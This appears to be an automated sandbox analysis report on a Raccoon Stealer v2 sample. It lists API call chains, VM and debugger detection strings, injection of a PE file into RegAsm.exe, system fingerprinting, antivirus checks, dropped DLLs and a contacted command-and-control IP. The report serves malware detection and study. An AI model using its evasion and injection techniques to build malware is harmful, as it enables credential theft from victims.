Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00403E9F StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_00403E9F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004087AA LocalAlloc,StrCpyW,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree, 3_2_004087AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040392D LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_0040392D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004041AD StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_004041AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004017B3 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW, 3_2_004017B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00407938 LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose, 3_2_00407938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F23A lstrlenA,lstrlenA,lstrlenA,LocalAlloc,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,GetLastError,CloseHandle,OutputDebugStringA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,RegOpenKeyExA,FindFirstFileA,FindClose,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,LocalAlloc,LocalFree,CreateMutexA,ReleaseMutex,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,CloseHandle,GetLastError,GetLastError,CreateMutexA,GetLastError,ReleaseMutex,FindFirstFileA,FindClose,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateSemaphoreA,GetLastError,ReleaseSemaphore,SetEnvironmentVariableA,GlobalFree, 3_2_0040F23A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040E83D CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,RegOpenKeyExA,LocalFree,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,LocalAlloc,lstrlenW,LocalAlloc,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,OutputDebugStringA,CloseHandle,OutputDebugStringA,SetEnvironmentVariableA,FindFirstFileA,FindClose,LocalAlloc,SetEnvironmentVariableA,LocalFree,GetLastError,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateMutexA,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,lstrlenW,StrCpyW,LocalFree,StrCpyW,LocalFree, 3_2_0040E83D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004103E1 OutputDebugStringA,SetEnvironmentVariableA,LocalAlloc,LocalFree,LocalAlloc,GetLogicalDriveStringsW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_004103E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CF9A LocalAlloc,LocalAlloc,LocalAlloc,lstrlenA,lstrcpyn,lstrcpyn,lstrlenA,lstrcpyn,lstrcpyn,lstrlenA,lstrcpyn,lstrcpyn,GetSystemInfo,wsprintfW,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_0040CF9A
Source: Amcache.hve.7.dr Binary or memory string: VMware
Source: Amcache.hve.7.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr Binary or memory string: VMware, Inc.
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW BX
Source: Amcache.hve.7.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000157F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.7.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr Binary or memory string: vmci.sys
Source: Amcache.hve.7.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.7.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.7.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.7.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process queried: DebugPort Jump to behavior
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040DC49 SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,GetLastError,CancelWaitableTimer,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateMutexA,OutputDebugStringA,ReleaseMutex,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,LocalAlloc,lstrlenA,FindFirstFileA,FindClose,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,GetLastError,CreateFileMappingW, 3_2_0040DC49
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401000 CreateWaitableTimerA,OutputDebugStringA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_00401000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write Jump to behavior
Contains functionality to inject code into remote processes
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Code function: 0_2_031E52E9 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread, 0_2_031E52E9
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 411000 Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 415000 Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 102A008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CF9A cpuid 3_2_0040CF9A
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: LocalAlloc,LocalAlloc,LocalAlloc,GetLocaleInfoW,GetUserDefaultLCID,GetLocaleInfoW,wsprintfW,LocalFree,LocalFree, 3_2_0040CD2D
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F75C LocalAlloc,GetUserNameW, 3_2_0040F75C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CE65 LocalAlloc,GetTimeZoneInformation,LocalAlloc,wsprintfW,LocalFree, 3_2_0040CE65
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.7.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.7.dr Binary or memory string: MsMpEng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\conhost.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Raccoon Stealer v2
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.2417723763.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1286483341.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe PID: 760, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 4812, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 3.2.RegAsm.exe.154e88f.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.2418304008.0000000001586000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 4812, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Raccoon Stealer v2
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.2417723763.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1286483341.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe PID: 760, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 4812, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 3.2.RegAsm.exe.154e88f.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.2418304008.0000000001586000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1417514 Sample: SecuriteInfo.com.Win32.Troj... Startdate: 29/03/2024 Architecture: WINDOWS Score: 100 31 Snort IDS alert for network traffic 2->31 33 Found malware configuration 2->33 35 Antivirus / Scanner detection for submitted sample 2->35 37 4 other signatures 2->37 7 SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe 1 2->7         started        process3 signatures4 39 Contains functionality to inject code into remote processes 7->39 41 Writes to foreign memory regions 7->41 43 Allocates memory in foreign processes 7->43 45 Injects a PE file into a foreign processes 7->45 10 RegAsm.exe 19 7->10         started        15 conhost.exe 7->15         started        17 WerFault.exe 21 16 7->17         started        process5 dnsIp6 29 89.238.170.230, 49699, 80 M247GB United Kingdom 10->29 21 C:\Users\user\AppData\...\vcruntime140.dll, PE32 10->21 dropped 23 C:\Users\user\AppData\LocalLow\sqlite3.dll, PE32 10->23 dropped 25 C:\Users\user\AppData\LocalLow\softokn3.dll, PE32 10->25 dropped 27 4 other files (none is malicious) 10->27 dropped 47 Found evasive API chain (may stop execution after checking mutex) 10->47 49 Tries to delay execution (extensive OutputDebugStringW loop) 10->49 19 conhost.exe 15->19         started        file7 signatures8 process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
89.238.170.230
 unknown United Kingdom
9009 M247GB true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://89.238.170.230:80 true
  • 2%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://89.238.170.230/ true
  • 2%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown